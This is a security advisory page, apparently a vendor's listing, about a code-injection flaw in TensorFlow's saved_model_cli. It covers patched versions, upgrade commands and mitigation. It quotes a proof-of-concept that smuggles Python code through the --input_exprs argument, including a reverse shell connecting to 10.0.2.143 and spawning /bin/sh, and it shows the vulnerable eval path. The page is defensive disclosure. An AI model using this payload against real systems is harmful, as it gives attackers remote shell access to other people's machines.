GHSA-75c9-jrh4-79mc is a high-severity (CVSS 7.8) Code Injection vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.
Code injection in `saved_model_cli` in TensorFlow
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-75c9-jrh4-79mc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-75c9-jrh4-79mc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
tensorflow🐍tensorflow-cpu🐍tensorflow-gpu🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-gpu+1 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.6.4pip install --upgrade 'tensorflow==2.6.4' |
| 🐍PyPI | tensorflow-cpu | all versions | 2.6.4pip install --upgrade 'tensorflow-cpu==2.6.4' |
| 🐍PyPI | tensorflow-gpu | all versions | 2.6.4pip install --upgrade 'tensorflow-gpu==2.6.4' |
| 🐍PyPI | tensorflow | ≥ 2.7.0&&< 2.7.2 | 2.7.2pip install --upgrade 'tensorflow==2.7.2' |
| 🐍PyPI | tensorflow | ≥ 2.8.0&&< 2.8.1 | 2.8.1pip install --upgrade 'tensorflow==2.8.1' |
| 🐍PyPI | tensorflow-cpu | ≥ 2.7.0&&< 2.7.2 | 2.7.2pip install --upgrade 'tensorflow-cpu==2.7.2' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tensorflow to 2.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-75c9-jrh4-79mc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-75c9-jrh4-79mc can be triaged on real exposure rather than presence alone.
Tailored to GHSA-75c9-jrh4-79mc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-75c9-jrh4-79mc in your dependencies?
O3 Security finds GHSA-75c9-jrh4-79mc across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.